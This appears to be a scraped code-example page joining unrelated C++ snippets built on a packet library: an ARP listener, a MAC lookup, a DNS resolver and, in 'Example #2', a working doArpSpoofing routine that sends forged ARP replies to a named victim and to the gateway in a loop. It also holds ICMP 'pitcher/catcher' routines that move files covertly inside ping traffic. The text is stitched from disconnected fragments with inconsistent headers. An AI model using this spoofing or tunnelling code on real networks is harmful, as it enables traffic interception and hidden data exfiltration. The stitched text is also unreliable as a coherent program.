void ArpListener::listenerThread()
{
  if( arpFilter_.size() == 0 || device_.size() == 0 )
  {
    MutexLocker lock( runningMutex_ );
    running_ = false;
    return;
  }

  sniffer_.setFilter( arpFilter_ );
  sniffer_.setInputDevice(device_);
  sniffer_.start();

  while( true )
  {
    Packet p = sniffer_.popPacket();
    if( p.appSize() > 0 && p.appIs< Arp >() )
    {
      Arp a = p.getApp<Arp>();
      if( a.opcode() == arpopcode::response )
      {
        MACAddress mac = MACAddress(a.senderMacAddress().vector());
        IPv4Address ip = IPv4Address(a.senderIPAddress().vector());
        cache_->addEntry( ip.toString(), mac );
        sendAlert( ip.toString() );
      }
    }
    MutexLocker lock2( stopMutex_ );
    if( stop_ )
      break;
  }
}
Example #2
0
bool doArpSpoofing(PcapLiveDevice* pDevice, const IPv4Address& gatewayAddr, const IPv4Address& victimAddr)
{
	// Get the gateway MAC address
	MacAddress gatewayMacAddr = getMacAddress(gatewayAddr, pDevice);
	if (!gatewayMacAddr.isValid())
	{
		printf("Failed to find gateway MAC address. Exiting...\n");
		return false;
	}
	printf("Got gateway MAC address: %s\n", gatewayMacAddr.toString().c_str());

	// Get the victim MAC address
	MacAddress victimMacAddr = getMacAddress(victimAddr, pDevice);
	if (!victimMacAddr.isValid())
	{
		printf("Failed to find victim MAC address. Exiting...\n");
		return false;
	}
	printf("Got victim MAC address: %s\n", victimMacAddr.toString().c_str());

	MacAddress deviceMacAddress = pDevice->getMacAddress();

	// Create ARP reply for the gateway
	Packet gwArpReply(500);
	EthLayer gwEthLayer(deviceMacAddress, gatewayMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP);
	ArpLayer gwArpLayer(ARP_REPLY,
						pDevice->getMacAddress(),
						gatewayMacAddr,
						victimAddr,
						gatewayAddr);
	gwArpReply.addLayer(&gwEthLayer);
	gwArpReply.addLayer(&gwArpLayer);
	gwArpReply.computeCalculateFields();

	// Create ARP reply for the victim
	Packet victimArpReply(500);
	EthLayer victimEthLayer(deviceMacAddress, victimMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP);
	ArpLayer victimArpLayer(ARP_REPLY,
							pDevice->getMacAddress(),
							victimMacAddr,
							gatewayAddr,
							victimAddr);
	victimArpReply.addLayer(&victimEthLayer);
	victimArpReply.addLayer(&victimArpLayer);
	victimArpReply.computeCalculateFields();

	// Send ARP replies to gateway and to victim every 5 seconds
	printf("Sending ARP replies to victim and to gateway every 5 seconds...\n\n");
	while(true)
	{
		pDevice->sendPacket(&gwArpReply);
		printf("Sent ARP reply: %s [gateway] is at MAC address %s [me]\n", gatewayAddr.toString().c_str(), deviceMacAddress.toString().c_str());
		pDevice->sendPacket(&victimArpReply);
		printf("Sent ARP reply: %s [victim] is at MAC address %s [me]\n\n", victimAddr.toString().c_str(), deviceMacAddress.toString().c_str());
		PCAP_SLEEP(5);
	}

	return true;
}
Example #3
0
MacAddress getMacAddress(const IPv4Address& ipAddr, PcapLiveDevice* pDevice)
{
	// Create an ARP packet and change its fields
	Packet arpRequest(500);

	MacAddress macSrc = pDevice->getMacAddress();
	MacAddress macDst(0xff, 0xff, 0xff, 0xff, 0xff, 0xff);
	EthLayer ethLayer(macSrc, macDst, (uint16_t)PCPP_ETHERTYPE_ARP);
	ArpLayer arpLayer(ARP_REQUEST,
						pDevice->getMacAddress(),
						pDevice->getMacAddress(),
						pDevice->getIPv4Address(),
						ipAddr);


	arpRequest.addLayer(&ethLayer);
	arpRequest.addLayer(&arpLayer);
	arpRequest.computeCalculateFields();

	//setup arp reply filter
	ArpFilter arpFilter(ARP_REPLY);
	pDevice->setFilter(arpFilter);

	//send the arp request and wait for arp reply
	pDevice->sendPacket(&arpRequest);
	RawPacketVector capturedPackets;
	pDevice->startCapture(capturedPackets);
	PCAP_SLEEP(2);
	pDevice->stopCapture();

	if (capturedPackets.size() < 1)
	{
		printf("No arp reply was captured. Couldn't retrieve MAC address for IP %s\n", ipAddr.toString().c_str());
		return MacAddress("");
	}

	//parse arp reply and extract the MAC address
	Packet arpReply(capturedPackets.front());
	if (arpReply.isPacketOfType(ARP))
	{
		return arpReply.getLayerOfType<ArpLayer>()->getSenderMacAddress();
	}
	printf("No arp reply was captured. Couldn't retrieve MAC address for IP %s\n", ipAddr.toString().c_str());
	return MacAddress("");
}
/**
 * Send a file to the pitcher
 */
void sendFile(std::string filePath, IPv4Address pitcherIP, IPv4Address catcherIP, size_t blockSize)
{
	// identify the interface to listen and send packets to
	PcapLiveDevice* dev = PcapLiveDeviceList::getInstance().getPcapLiveDeviceByIp(&catcherIP);
	if (dev == NULL)
		EXIT_WITH_ERROR("Cannot find network interface with IP '%s'", catcherIP.toString().c_str());

	// try to open the interface (device)
	if (!dev->open())
		EXIT_WITH_ERROR("Cannot open network interface");

	// set an ICMP protocol filter so it'll capture only ICMP packets
	ProtoFilter protocolFilter(ICMP);
	if (!dev->setFilter(protocolFilter))
		EXIT_WITH_ERROR("Can't set ICMP filter on device");

	// try the open the file for reading
	std::ifstream file(filePath.c_str(), std::ios::in|std::ios::binary);

	if (file.is_open())
	{
		// extract file size
		file.seekg(0, std::ios_base::end);
	    uint32_t fileSize = file.tellg();

	    // go back to the beginning of the file
		file.seekg(0, std::ios::beg);

		// remove the path and keep just the file name. This is the name that will be delivered to the pitcher
		std::string fileName = getFileNameFromPath(filePath);

		printf("Waiting for pitcher to send a keep-alive signal...\n");

		IcmpFileTransferStart icmpFTStart = {
				pitcherIP,
				catcherIP,
				fileName,
				0
		};

		// first, establish a connection with the pitcher and send it the file name. This method waits for the pitcher to send an ICMP
		// request which indicates it's alive. The response to the request will contain the file name in the ICMP response data
		int res  = dev->startCaptureBlockingMode(startFileTransfer, &icmpFTStart, -1);
		// if an error occurred
		if (!res)
			EXIT_WITH_ERROR("Cannot start capturing packets");

		printf("Sending file '%s' ", fileName.c_str());


		IcmpFileContentDataSend icmpFileContentData = {
				pitcherIP,
				catcherIP,
				&file,
				true,
				0,
				blockSize,
				NULL
		};

		// create the memory block that will contain the file data chunks that will be transferred to the pitcher
		icmpFileContentData.memblock = new char[blockSize];

		// wait for ICMP requests coming from the pitcher and send file data chunks as a reply in the ICMP response data
		// this method returns when all file was transferred to the pitcher
		res = dev->startCaptureBlockingMode(sendContent, &icmpFileContentData, -1);

		// free the memory block data and close the file
		delete [] icmpFileContentData.memblock;
		file.close();

		// if capture failed, exit the program
		if (!res)
			EXIT_WITH_ERROR("Cannot start capturing packets");

		printf("\n\nFinished sending '%s' [sent %d bytes]\n", fileName.c_str(), fileSize);
	}
	else // if file couldn't be opened
		EXIT_WITH_ERROR("Cannot open file '%s'", filePath.c_str());

	// close the device
	dev->close();
}
/**
 * Receive a file from the pitcher
 */
void receiveFile(IPv4Address pitcherIP, IPv4Address catcherIP)
{
	// identify the interface to listen and send packets to
	PcapLiveDevice* dev = PcapLiveDeviceList::getInstance().getPcapLiveDeviceByIp(&catcherIP);
	if (dev == NULL)
		EXIT_WITH_ERROR("Cannot find network interface with IP '%s'", catcherIP.toString().c_str());

	// try to open the interface (device)
	if (!dev->open())
		EXIT_WITH_ERROR("Cannot open network interface");

	// set an ICMP protocol filter so it'll capture only ICMP packets
	ProtoFilter protocolFilter(ICMP);
	if (!dev->setFilter(protocolFilter))
		EXIT_WITH_ERROR("Can't set ICMP filter on device");

	printf("Waiting for pitcher to send a file...\n");

	IcmpFileTransferStart icmpFTStart = {
			pitcherIP,
			catcherIP,
			"",
			0
	};

	// wait until the pitcher sends an ICMP request with the file name in its data
	int res = dev->startCaptureBlockingMode(waitForFileTransferStart, &icmpFTStart, -1);
	if (!res)
		EXIT_WITH_ERROR("Cannot start capturing packets");

	// create a new file with the name provided by the pitcher
	std::ofstream file(icmpFTStart.fileName.c_str(), std::ios::out|std::ios::binary);

	if (file.is_open())
	{
		printf("Getting file from pitcher: '%s' ", icmpFTStart.fileName.c_str());

		IcmpFileContentDataRecv icmpFileContentData = {
				pitcherIP,
				catcherIP,
				&file,
				icmpFTStart.fileName,
				(uint16_t)(icmpFTStart.icmpId+1),
				0,
				0
		};

		// get all file data from the pitcher. This method blocks until all file is received
		res = dev->startCaptureBlockingMode(getFileContent, &icmpFileContentData, -1);
		if (!res)
		{
			file.close();
			EXIT_WITH_ERROR_AND_RUN_COMMAND("Cannot start capturing packets", std::remove(icmpFTStart.fileName.c_str()));
		}

		printf("\n\nFinished getting file '%s' [received %d bytes]\n", icmpFTStart.fileName.c_str(), icmpFileContentData.fileSize);
	}
	else
		EXIT_WITH_ERROR("Cannot create file");

	// remove the filter and close the device (interface)
	dev->clearFilter();
	dev->close();
}
Example #6
0
/**
 * main method of the application
 */
int main(int argc, char* argv[])
{
	std::string hostname;
	bool hostnameProvided = false;
	std::string interfaceNameOrIP;
	bool interfaceNameOrIPProvided = false;
	IPv4Address dnsServerIP = IPv4Address::Zero;
	IPv4Address gatewayIP = IPv4Address::Zero;
	int timeoutSec = -1;

	int optionIndex = 0;
	char opt = 0;

	while((opt = getopt_long (argc, argv, "i:d:g:s:t:hl", DNSResolverOptions, &optionIndex)) != -1)
	{
		switch (opt)
		{
			case 0:
			{
				break;
			}
			case 'h':
			{
				printUsage();
				exit(0);
			}
			case 'l':
			{
				listInterfaces();
				exit(0);
			}
			case 'i':
			{
				interfaceNameOrIP = optarg;
				interfaceNameOrIPProvided = true;
				break;
			}
			case 'd':
			{
				dnsServerIP = IPv4Address(optarg);
				break;
			}
			case 'g':
			{
				gatewayIP = IPv4Address(optarg);
				break;
			}
			case 's':
			{
				hostname = optarg;
				hostnameProvided = true;
				break;
			}
			case 't':
			{
				timeoutSec = atoi(optarg);
				break;
			}
			default:
			{
				printUsage();
				exit(1);
			}
		}
	}

	// make sure that hostname is provided
	if (!hostnameProvided)
		EXIT_WITH_ERROR("Hostname not provided");

	// find the interface to send the DNS request from
	PcapLiveDevice* dev = NULL;

	// if interface name or IP was provided - find the device accordingly
	if (interfaceNameOrIPProvided)
	{
		IPv4Address interfaceIP(interfaceNameOrIP);
		if (interfaceIP.isValid())
		{
			dev = PcapLiveDeviceList::getInstance().getPcapLiveDeviceByIp(interfaceIP);
			if (dev == NULL)
				EXIT_WITH_ERROR("Couldn't find interface by provided IP");
		}
		else
		{
			dev = PcapLiveDeviceList::getInstance().getPcapLiveDeviceByName(interfaceNameOrIP);
			if (dev == NULL)
				EXIT_WITH_ERROR("Couldn't find interface by provided name");
		}
	}
	// if interface name or IP was not provided - find a device that has a default gateway
	else
	{
		const std::vector<PcapLiveDevice*>& devList = PcapLiveDeviceList::getInstance().getPcapLiveDevicesList();

		for (std::vector<PcapLiveDevice*>::const_iterator iter = devList.begin(); iter != devList.end(); iter++)
		{
			if ((*iter)->getDefaultGateway() != IPv4Address::Zero)
			{
				dev = *iter;
				break;
			}
		}

		if (dev == NULL)
			EXIT_WITH_ERROR("Couldn't find an interface with a default gateway");
	}

	printf("Using interface '%s'\n", dev->getIPv4Address().toString().c_str());

	// find the IPv4 address for provided hostname
	double responseTime = 0;
	uint32_t dnsTTL = 0;
	IPv4Address resultIP = NetworkUtils::getInstance().getIPv4Address(hostname, dev, responseTime, dnsTTL, timeoutSec, dnsServerIP, gatewayIP);

	// print resolved IPv4 address if found
	if (resultIP == IPv4Address::Zero)
		printf("\nCould not resolve hostname [%s]\n", hostname.c_str());
	else
		printf("\nIP address of [%s] is: %s  DNS-TTL=%d  time=%dms\n", hostname.c_str(), resultIP.toString().c_str(), dnsTTL, (int)responseTime);

}